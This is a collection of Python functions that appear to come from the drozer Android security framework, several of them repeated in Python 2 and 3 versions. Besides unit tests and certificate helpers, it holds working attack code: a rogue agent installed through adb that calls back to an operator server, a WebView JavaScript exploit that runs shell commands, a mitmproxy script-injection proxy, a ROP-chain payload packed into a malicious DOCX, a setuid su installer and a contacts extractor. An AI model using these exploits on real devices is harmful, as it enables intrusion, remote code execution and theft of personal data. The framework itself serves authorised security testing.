def uploadMinimalSuInstallScript(self): """ Upload minimal su install script to the Agent. """ # Remove existing uploads of su install script self.shellExec("rm %s/install-minimal-su.sh" % (self.workingDir())) minimal_su_script = """#!/system/bin/sh mount -o remount,rw /system cat $REPLACEME$/su > /system/bin/su chmod 4755 /system/bin/su echo 'Done. You can now use `su` from a drozer shell.' """ minimal_su_script = minimal_su_script.replace("$REPLACEME$", self.workingDir()) tempDir = tempfile.mkdtemp() localPathScript = os.path.join(tempDir, "install-su.sh") fs.write(localPathScript, minimal_su_script) bytes_copied = self.uploadFile(localPathScript, self.__agentPathScript()) if bytes_copied == os.path.getsize(localPathScript): self.shellExec("chmod 770 " + self.__agentPathScript()) return True else: return False
def setUp(self): Configuration._Configuration__config = ConfigParser.SafeConfigParser() shutil.rmtree("./tmp", True) shutil.rmtree("./repo", True) Repository.create("./tmp") fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"])
def generate(self, arguments): adbCommand = "adb" if arguments.adbPath: adbCommand = arguments.adbPath print "[*] Building Rogue Agent..." rogueAgentPath = os.path.join(os.path.dirname(__file__), "agent.apk") fs.write(rogueAgentPath, self.build_agent(arguments)) print "[*] Checking adb setup..." process = subprocess.Popen(adbCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if not ("SHELL" in result.upper()) and not ("INSTALL" in result.upper()): print "[-] Error. ADB is not properly set up." return else: print "[+] adb is set up correctly" print "[*] Connect device and press [ENTER]" raw_input() print "[*] Attempting to install agent..." process = subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if "SUCCESS" in result.upper(): print "[+] Rogue Agent installed" elif "INSTALL_FAILED_ALREADY_EXISTS" in result.upper(): print "[-] Already installed" print "[*] Uninstalling..." subprocess.Popen([adbCommand, "uninstall", "com.mwr.dz"], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait() print "[*] Attempting to install agent..." subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait() else: print "[-] Could not be installed" return print "[*] Attempting to kick start drozer agent" process = subprocess.Popen([adbCommand, "shell", "am", "startservice", "-n", "com.mwr.dz/.Agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if not "ERROR" in result.upper(): print "[+] Service started. You should have a connection on your server" else: print "[-] Failed - detected an older device" print "[*] Attempting to kick start drozer agent - Method 2" process = subprocess.Popen([adbCommand, "shell", "am", "broadcast", "-a", "com.mwr.dz.PWN"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() print "[-] No feedback available. You will have to look if you have a connection on your server" # Cleanup os.remove(rogueAgentPath)
def testItShouldInstallARawModuleFromALocalSource(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module."
def testItShouldInstallARawModuleFromALocalSource(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module."
def create_keypair(self, cn): """ Create a key/certificate pair, signed with the CA. """ self.__load_key_material() key, certificate = self.authority.create_certificate(cn) fs.write(self.__certificate_path(cn), ca.CA.certificate_to_pem(certificate)) fs.write(self.__key_path(cn), ca.CA.pkey_to_pem(key)) return (key, certificate)
def provision(self, path): """ Provision new CA Key Material. This will overwrite any existing CA. """ self.authority.create_ca() Configuration.set("ssl", "ca_path", path) fs.write(self.ca_certificate_path(), ca.CA.certificate_to_pem(self.authority.ca_cert)) fs.write(self.__ca_key_path(), ca.CA.pkey_to_pem(self.authority.ca_key)) return True
def execute(self, arguments): contacts = [] dumps = self.listFiles(self.__directory) if dumps != None: for dump in dumps: data = self.readFile("/".join([self.__directory, str(dump)])) offset = 0 while True: (vcard, offset) = self.__next_vcard(data, offset) if vcard != None: contacts.append(vcard) else: break if len(contacts) == 0: self.stdout.write("No contacts found. Either Super Backup is not installed, no backups have been made, or backups are saved in a non-standard path.\n\n") else: self.stdout.write("Extracted %d contacts:\n" % len(contacts)) for contact in contacts: self.stdout.write(" %s\n" % contact.name()) self.stdout.write("\n") # if an output path has been specified, concatenate and write all vcards # to it if arguments.output != None: length = fs.write(arguments.output, reduce(lambda x,y: "%s\n\n%s" % (x, y), contacts)) self.stdout.write("Written %d bytes to %s.\n\n" % (length, arguments.output))
def make_pcks12(self, cn, key, cert, export_password=None): """ Prepare a PKCS12 package, given a key and a certificate. """ if export_password == None: export_password = ''.join(random.choice(list("abcdefghijklmnopqrstuvwxyz01234556789")) for x in range(12)) pkcs12 = OpenSSL.crypto.PKCS12() pkcs12.set_friendlyname("mercury") pkcs12.set_ca_certificates([self.authority.ca_cert]) pkcs12.set_certificate(cert) pkcs12.set_privatekey(key) fs.write(os.path.join(self.ca_path(), "%s.p12" % cn), pkcs12.export(export_password)) return (os.path.join(self.ca_path(), "%s.p12" % cn), export_password)
def testItShouldNotInstallARawLocalModuleIfAlreadyPresent(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert fs.read("./tmp/a/local/module.py") != "This is an edited local, raw module."
def testItShouldNotInstallARawLocalModuleIfAlreadyPresent(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert fs.read("./tmp/a/local/module.py") != b"This is an edited local, raw module."
def testItShouldOverwriteARawLocalModuleIfForceIsSet(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"], True) assert fs.read("./tmp/a/local/module.py") == b"This is an edited local, raw module."
def testItShouldOverwriteARawLocalModuleIfForceIsSet(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"], True) assert fs.read("./tmp/a/local/module.py") == "This is an edited local, raw module."
def make_pcks12(self, cn, key, cert, export_password=None): """ Prepare a PKCS12 package, given a key and a certificate. """ if export_password == None: export_password = ''.join( random.choice(list("abcdefghijklmnopqrstuvwxyz01234556789")) for x in range(12)) pkcs12 = OpenSSL.crypto.PKCS12() pkcs12.set_friendlyname("drozer") pkcs12.set_ca_certificates([self.authority.ca_cert]) pkcs12.set_certificate(cert) pkcs12.set_privatekey(key) fs.write(os.path.join(self.ca_path(), "%s.p12" % cn), pkcs12.export(export_password)) return (os.path.join(self.ca_path(), "%s.p12" % cn), export_password)
def execute(self, arguments): data = self.contentResolver().read(self.__content_uri) if os.path.isdir(arguments.destination): arguments.destination = os.path.sep.join([arguments.destination, arguments.uri.split("/")[-1]]) length = fs.write(arguments.destination, data) if length != None: self.stdout.write("Written %d bytes. You can open this file with sqlite3.\n" % len(data)) else: self.stdout.write("Failed to read database.")
def execute(self, arguments): data = self.contentResolver().read(self.__content_uri) if os.path.isdir(arguments.destination): arguments.destination = os.path.sep.join( [arguments.destination, arguments.uri.split("/")[-1]]) length = fs.write(arguments.destination, data) if length != None: self.stdout.write( "Written %d bytes. You can open this file with sqlite3.\n" % len(data)) else: self.stdout.write("Failed to read database.")
def __unpack_module_raw(self, module, source, force=False): """ Handles unpacking a module and installing it, if the source is a Python module. """ path = module.split(".") # create a Python package to write the module into package = self.__create_package(os.path.join(self.repository, *path[0:-1])) # calculate the path where we will write the module path = os.path.join(package, path[-1] + ".py") # ensure that we are not about to overwrite an existing module if os.path.exists(path) and not force: raise AlreadyInstalledError("The target (%s) already exists in the repository." % module) # write the module file into the package if fs.write(path, source) != None: return True else: raise InstallError("Failed to write module to repository.")
def execute(self, arguments): contacts = [] dumps = self.listFiles(self.__directory) if dumps != None: for dump in dumps: data = self.readFile("/".join([self.__directory, str(dump)])) offset = 0 while True: (vcard, offset) = self.__next_vcard(data, offset) if vcard != None: contacts.append(vcard) else: break if len(contacts) == 0: self.stdout.write( "No contacts found. Either Super Backup is not installed, no backups have been made, or backups are saved in a non-standard path.\n\n" ) else: self.stdout.write("Extracted %d contacts:\n" % len(contacts)) for contact in contacts: self.stdout.write(" %s\n" % contact.name()) self.stdout.write("\n") # if an output path has been specified, concatenate and write all vcards # to it if arguments.output != None: length = fs.write( arguments.output, reduce(lambda x, y: "%s\n\n%s" % (x, y), contacts)) self.stdout.write("Written %d bytes to %s.\n\n" % (length, arguments.output))
def generate(self, arguments): drozer_js = """ /* Iterate through entire window looking for javascript interface */ function getJsVar() { for (var prop in window) { try { window[prop].getClass(); return window[prop]; } catch(err) { //console.log(err); } } console.log("Could not find JS interface"); return null; } /* Execute command and receive result */ function execute(cmd) { /* Find interface variable */ var jsVar = getJsVar(); if (jsVar == null) return null; /* Reflection-fu to get to Runtime.exec() and passing commands to sh */ var inputStream = jsVar.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh', '-c', cmd]).getInputStream(); var output = ""; /* Iterate through response */ do { var readint = inputStream.read(); if (readint > -1) output += String.fromCharCode(readint); } while (readint > -1); return output; } /* Get application data directory */ function getDataDir() { var id = execute('id'); var app_id = /(app_\d+|u0_a\d+)/g.exec(id); if (app_id.length > 0) app_id = app_id[0]; else app_id = "failed"; var ps = execute('ps'); var ps_lines = ps.split("\\n").sort(); for (var i in ps_lines) { try { if (ps_lines[i].indexOf(app_id) > -1) { var splits = ps_lines[i].split(" "); var last_col = splits[splits.length-1].trim(); if (last_col.indexOf('.') > 0) return '/data/data/' + last_col; } } catch(e) { console.log(e); } } } /* Start of payload */ """ mitm_script = """#!/usr/bin/env python # Relies on having libmproxy >0.9 installed: http://mitmproxy.org/doc/scripting/libmproxy.html # pip install mitmproxy from libmproxy import controller, proxy, platform import os, sys, datetime class InjectingMaster(controller.Master): def __init__(self, server, js_url): controller.Master.__init__(self, server) self._js_url = js_url print 'Proxy started on port 8080...' def run(self): try: return controller.Master.run(self) except KeyboardInterrupt: self.shutdown() def handle_request(self, msg): timestamp = datetime.datetime.today().strftime('%Y/%m/%d %H:%M:%S') client_ip = msg.client_conn.address[0] request_url = '%s://%s%s' % (msg.scheme, msg.host, msg.path) print '[%s %s] %s %s' % (timestamp, client_ip, msg.method, request_url) msg.reply() def handle_response(self, msg): if msg.content: # generic HTML injection a = msg.replace('<head>', '<head><script src="%s"></script>' % self._js_url) if a > 0: print '[x] script injected into HTML head tag!' else: # generic HTML injection b = msg.replace('<body>', '<body><script src="%s"></script>' % self._js_url) if b > 0: print '[x] script injected into HTML body tag!' else: # mocean XML c = msg.replace('<content>', '<content><script src="%s"></script>' % self._js_url) if c > 0: print '[x] %s' % self._js_url print '[x] script injected into XML content tag!' msg.reply() def main(argv): url = $REPLACEME$ config = proxy.ProxyConfig( cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"), transparent_proxy = dict(resolver = platform.resolver(), sslports = [443, 8443]) ) server = proxy.ProxyServer(config, 8080) m = InjectingMaster(server, url) m.run() if __name__ == '__main__': main(sys.argv) """ # Add payload drozer_js += "execute(\"cd \" + getDataDir() + \";" + self.payload.strip( ).replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", " ;") + "\");\n" print "Uploading blank page to /...", if not self.upload(arguments, "/", " "): return print "Uploading Exploit to /dz.js...", if not self.upload(arguments, "/dz.js", self.build_multipart({".*": drozer_js}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return if arguments.outputFile is None: tempDir = tempfile.mkdtemp() arguments.outputFile = os.path.join(tempDir, "js-injector.py") fs.write( os.path.join(arguments.outputFile), mitm_script.replace( "$REPLACEME$", "\"http://" + str(arguments.server[0]) + ":" + str(arguments.server[1]) + "/dz.js\"")) print "Proxy script saved to " + arguments.outputFile print "\nThe basis of this exploit is being able to inject the following code into a vulnerable WebView:" scriptLine = '<script src="http://' + str( arguments.server[0]) + ':' + str( arguments.server[1]) + '/dz.js' + '"></script>' print scriptLine print """ # enable IP forwarding as root sysctl -w net.ipv4.ip_forward=1 or echo 1 > /proc/sys/net/ipv4/ip_forward # redirect HTTP traffic to local mitmproxy port 8080 as root iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 # run the proxy script """ + "python " + arguments.outputFile + """
def generate(self, arguments): adbCommand = "adb" if arguments.adbPath: adbCommand = arguments.adbPath print("[*] Building Rogue Agent...") rogueAgentPath = os.path.join(os.path.dirname(__file__), "agent.apk") fs.write(rogueAgentPath, self.build_agent(arguments)) print("[*] Checking adb setup...") process = subprocess.Popen(adbCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if not ("SHELL" in result.upper()) and not ("INSTALL" in result.upper()): print("[-] Error. ADB is not properly set up.") return else: print("[+] adb is set up correctly") print("[*] Connect device and press [ENTER]") input() print("[*] Attempting to install agent...") process = subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if "SUCCESS" in result.upper(): print("[+] Rogue Agent installed") elif "INSTALL_FAILED_ALREADY_EXISTS" in result.upper(): print("[-] Already installed") print("[*] Uninstalling...") subprocess.Popen([adbCommand, "uninstall", "com.mwr.dz"], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait() print("[*] Attempting to install agent...") subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait() else: print("[-] Could not be installed") return print("[*] Attempting to kick start drozer agent - Method 1 (Service)") process = subprocess.Popen([ adbCommand, "shell", "am", "startservice", "-n", "com.mwr.dz/.Agent" ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if not ("ERROR" in result.upper() or "SECURITYEXCEPTION" in result.upper()): print( "[+] Service started. You should have a connection on your server" ) else: print("[-] Failed") print( "[*] Attempting to kick start drozer agent - Method 2 (Activity)" ) process = subprocess.Popen( [adbCommand, "shell", "am", "start", "pwn://lol"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() if not ("ERROR" in result.upper() or "SECURITYEXCEPTION" in result.upper()): print( "[+] Activity opened. You should have a connection on your server" ) else: print("[-] Failed") print( "[*] Attempting to kick start drozer agent - Method 3 (Broadcast)" ) process = subprocess.Popen([ adbCommand, "shell", "am", "broadcast", "-a", "com.mwr.dz.PWN" ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.wait() result = process.stdout.read() + process.stderr.read() print( "[*] No feedback available. You will have to look if you have a connection on your server" ) # Cleanup os.remove(rogueAgentPath)
def generate(self, arguments): f = open(os.path.join(os.path.dirname(__file__), "orig_document.xml"), "r") xml = f.read() s = Stack() # Some more padding for alignment - required so that we can fix the pointer with junk, not data s.toaddr("0xb0005221") s.pad(12) # Here's how we want the memory laid out: # 0x0000a0c4 - "/system/bin/sh" # 0x0000a1c4 - "/path/to/file.sh" # 0x0000a5c4 - Fake stack 0 (to make stack 1 shorter) # 0x0000a2c4 - Fake stack 1 (to populate r7) # 0x0000a3c4 - Fake stack 2 (to populate r0-r2) # 0x0000a4c4 - argv[] for execve() # 0x0000a4d0 - envp[] for execve() # Strings for execve s.store("/system/bin/sh", "0x0000a0c4") s.store(arguments.shellScriptLocation, "0x0000a1c4") # argv array s.storeDword("0x0000a0d0", "0x0000a4c4") # Argv[0], "sh" s.storeDword("0x0000a1c4", "0x0000a4c8") # Argv[1], our .sh file s.storeDword("0x00000000", "0x0000a4cc") # Argv[2], null terminator # envp array s.storeDword("0x00000000", "0x0000a4d0") # Argv[2], null terminator # Setup fake stack 0 s.storeDword("0xb0002860","0x0000a5cc") # pc - 0xb0002860: ldmia sp, {sp, lr, pc} s.storeDword("0x0000a2c4","0x0000a5d0") # sp s.storeDword("0xb0002860","0x0000a5d4") # lr - point to pop sp gadget s.subVal("0x0000a5d8", "0xb0003770", "0x00002000") # pc - # >0xb0001770 : pop {r4 r7} ; bx lr ;; # Setup fake stack 1 s.subVal("0x0000a2c8", "3333", "(333", mode="data") # r7 s.storeDword("0x0000a3c4", "0x0000a2cc") # arg for pointSP, addr of fake stack 2 s.subVal("0x0000a2d4", "0xb0003923", "0x00000070") # Jump to fake stack 2 - #>0xb00038b3 : pop {r0 r1 r2 r3 r4 pc} ;; # Setup fake stack 2 s.storeDword("0x0000a0c4", "0x0000a3c4") # r0 s.storeDword("0x0000a4c4", "0x0000a3c8") # r1, argv s.storeDword("0x0000a4d0", "0x0000a3cc") # r2, envp # Call SVC s.subVal("0x0000a3d8", "0xb0003830", "0x00002070") # pc, addr of SVC # Point to fake stack 0 and set lr s.pointSP("0x0000a5c4") # Jump to the fake stack 0 - >0xb000652d : pop {r4 r5 pc} ;; s.toaddr("0xb000652d") # We need this here, otherwise the final string doesn't get added to the document XML. Buggy code :) s.add("\x00") # Write the malicious XML to document.xml xml = xml.replace("$REPLACEME$", s.genPayload()) fs.write(os.path.join(os.path.dirname(__file__), "template", "word", "document.xml"), xml) # Save working directory and change to template folder cwd = os.getcwd() os.chdir(os.path.join(os.path.dirname(__file__), "template")) # Zip up the contents into a DOCX zip = zipfile.ZipFile(os.path.join(os.path.dirname(__file__), "exploit.docx"), 'w') for root, dirs, files in os.walk("."): for file in files: zip.write(os.path.join(root, file)) zip.close() # Restore working directory os.chdir(cwd) print "Done. Exploit file generated with the following parameters:\n Location = %s\n Execute = %s" % (os.path.join(os.path.dirname(__file__), "exploit.docx"), arguments.shellScriptLocation)
def generate(self, arguments): drozer_js = """ /* Iterate through entire window looking for javascript interface */ function getJsVar() { for (var prop in window) { try { window[prop].getClass(); return window[prop]; } catch(err) { //console.log(err); } } console.log("Could not find JS interface"); return null; } /* Execute command and receive result */ function execute(cmd) { /* Find interface variable */ var jsVar = getJsVar(); if (jsVar == null) return null; /* Reflection-fu to get to Runtime.exec() and passing commands to sh */ var inputStream = jsVar.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh', '-c', cmd]).getInputStream(); var output = ""; /* Iterate through response */ do { var readint = inputStream.read(); if (readint > -1) output += String.fromCharCode(readint); } while (readint > -1); return output; } /* Get application data directory */ function getDataDir() { var id = execute('id'); var app_id = /(app_\d+|u0_a\d+)/g.exec(id); if (app_id.length > 0) app_id = app_id[0]; else app_id = "failed"; var ps = execute('ps'); var ps_lines = ps.split("\\n").sort(); for (var i in ps_lines) { try { if (ps_lines[i].indexOf(app_id) > -1) { var splits = ps_lines[i].split(" "); var last_col = splits[splits.length-1].trim(); if (last_col.indexOf('.') > 0) return '/data/data/' + last_col; } } catch(e) { console.log(e); } } } /* Start of payload */ """ mitm_script = """#!/usr/bin/env python # Relies on having libmproxy >0.9 installed: http://mitmproxy.org/doc/scripting/libmproxy.html # pip install mitmproxy from libmproxy import controller, proxy, platform import os, sys, datetime class InjectingMaster(controller.Master): def __init__(self, server, js_url): controller.Master.__init__(self, server) self._js_url = js_url print 'Proxy started on port 8080...' def run(self): try: return controller.Master.run(self) except KeyboardInterrupt: self.shutdown() def handle_request(self, msg): timestamp = datetime.datetime.today().strftime('%Y/%m/%d %H:%M:%S') client_ip = msg.client_conn.address[0] request_url = '%s://%s%s' % (msg.scheme, msg.host, msg.path) print '[%s %s] %s %s' % (timestamp, client_ip, msg.method, request_url) msg.reply() def handle_response(self, msg): if msg.content: # generic HTML injection a = msg.replace('<head>', '<head><script src="%s"></script>' % self._js_url) if a > 0: print '[x] script injected into HTML head tag!' else: # generic HTML injection b = msg.replace('<body>', '<body><script src="%s"></script>' % self._js_url) if b > 0: print '[x] script injected into HTML body tag!' else: # mocean XML c = msg.replace('<content>', '<content><script src="%s"></script>' % self._js_url) if c > 0: print '[x] %s' % self._js_url print '[x] script injected into XML content tag!' msg.reply() def main(argv): url = $REPLACEME$ config = proxy.ProxyConfig( cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"), transparent_proxy = dict(resolver = platform.resolver(), sslports = [443, 8443]) ) server = proxy.ProxyServer(config, 8080) m = InjectingMaster(server, url) m.run() if __name__ == '__main__': main(sys.argv) """ # Add payload drozer_js += "execute(\"cd \" + getDataDir() + \";" + self.payload.strip().replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", " ;") + "\");\n" print "Uploading blank page to /...", if not self.upload(arguments, "/", " "): return print "Uploading Exploit to /dz.js...", if not self.upload(arguments, "/dz.js", self.build_multipart({ ".*": drozer_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return print "Proxy script saved to " + arguments.outputFile fs.write(os.path.join(arguments.outputFile), mitm_script.replace("$REPLACEME$", "\"http://" + str(arguments.server[0]) + ":" + str(arguments.server[1]) + "/dz.js\"")) print "\nThe basis of this exploit is being able to inject the following code into a vulnerable WebView:" scriptLine = '<script src="http://' + str(arguments.server[0]) + ':' + str(arguments.server[1]) + '/dz.js' + '"></script>' print scriptLine print """ # enable IP forwarding as root sysctl -w net.ipv4.ip_forward=1 or echo 1 > /proc/sys/net/ipv4/ip_forward # redirect HTTP traffic to local mitmproxy port 8080 as root iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 # run the proxy script """ + "python " + arguments.outputFile + """
def generate(self, arguments): f = open(os.path.join(os.path.dirname(__file__), "orig_document.xml"), "r") temp_dir = tempfile.mkdtemp() xml = f.read() s = Stack() # Some more padding for alignment - required so that we can fix the pointer with junk, not data s.toaddr("0xb0005221") s.pad(12) # Here's how we want the memory laid out: # 0x0000a0c4 - "/system/bin/sh" # 0x0000a1c4 - "/path/to/file.sh" # 0x0000a5c4 - Fake stack 0 (to make stack 1 shorter) # 0x0000a2c4 - Fake stack 1 (to populate r7) # 0x0000a3c4 - Fake stack 2 (to populate r0-r2) # 0x0000a4c4 - argv[] for execve() # 0x0000a4d0 - envp[] for execve() # Strings for execve s.store("/system/bin/sh", "0x0000a0c4") s.store(arguments.shellScriptLocation, "0x0000a1c4") # argv array s.storeDword("0x0000a0d0", "0x0000a4c4") # Argv[0], "sh" s.storeDword("0x0000a1c4", "0x0000a4c8") # Argv[1], our .sh file s.storeDword("0x00000000", "0x0000a4cc") # Argv[2], null terminator # envp array s.storeDword("0x00000000", "0x0000a4d0") # Argv[2], null terminator # Setup fake stack 0 s.storeDword("0xb0002860","0x0000a5cc") # pc - 0xb0002860: ldmia sp, {sp, lr, pc} s.storeDword("0x0000a2c4","0x0000a5d0") # sp s.storeDword("0xb0002860","0x0000a5d4") # lr - point to pop sp gadget s.subVal("0x0000a5d8", "0xb0003770", "0x00002000") # pc - # >0xb0001770 : pop {r4 r7} ; bx lr ;; # Setup fake stack 1 s.subVal("0x0000a2c8", "3333", "(333", mode="data") # r7 s.storeDword("0x0000a3c4", "0x0000a2cc") # arg for pointSP, addr of fake stack 2 s.subVal("0x0000a2d4", "0xb0003923", "0x00000070") # Jump to fake stack 2 - #>0xb00038b3 : pop {r0 r1 r2 r3 r4 pc} ;; # Setup fake stack 2 s.storeDword("0x0000a0c4", "0x0000a3c4") # r0 s.storeDword("0x0000a4c4", "0x0000a3c8") # r1, argv s.storeDword("0x0000a4d0", "0x0000a3cc") # r2, envp # Call SVC s.subVal("0x0000a3d8", "0xb0003830", "0x00002070") # pc, addr of SVC # Point to fake stack 0 and set lr s.pointSP("0x0000a5c4") # Jump to the fake stack 0 - >0xb000652d : pop {r4 r5 pc} ;; s.toaddr("0xb000652d") # We need this here, otherwise the final string doesn't get added to the document XML. Buggy code :) s.add("\x00") # Write the malicious XML to document.xml xml = xml.replace("$REPLACEME$", s.genPayload()) os.makedirs(os.path.join(temp_dir, "template", "word")) fs.write(os.path.join(temp_dir, "template", "word", "document.xml"), xml) # Save working directory and change to template folder cwd = os.getcwd() os.chdir(os.path.join(temp_dir, "template")) # Zip up the contents into a DOCX zip = zipfile.ZipFile(os.path.join(temp_dir, "exploit.docx"), 'w') for root, dirs, files in os.walk("."): for file in files: zip.write(os.path.join(root, file)) zip.close() # Restore working directory os.chdir(cwd) print("Done. Exploit file generated with the following parameters:\n Location = %s\n Execute = %s" % (os.path.join(temp_dir, "exploit.docx"), arguments.shellScriptLocation))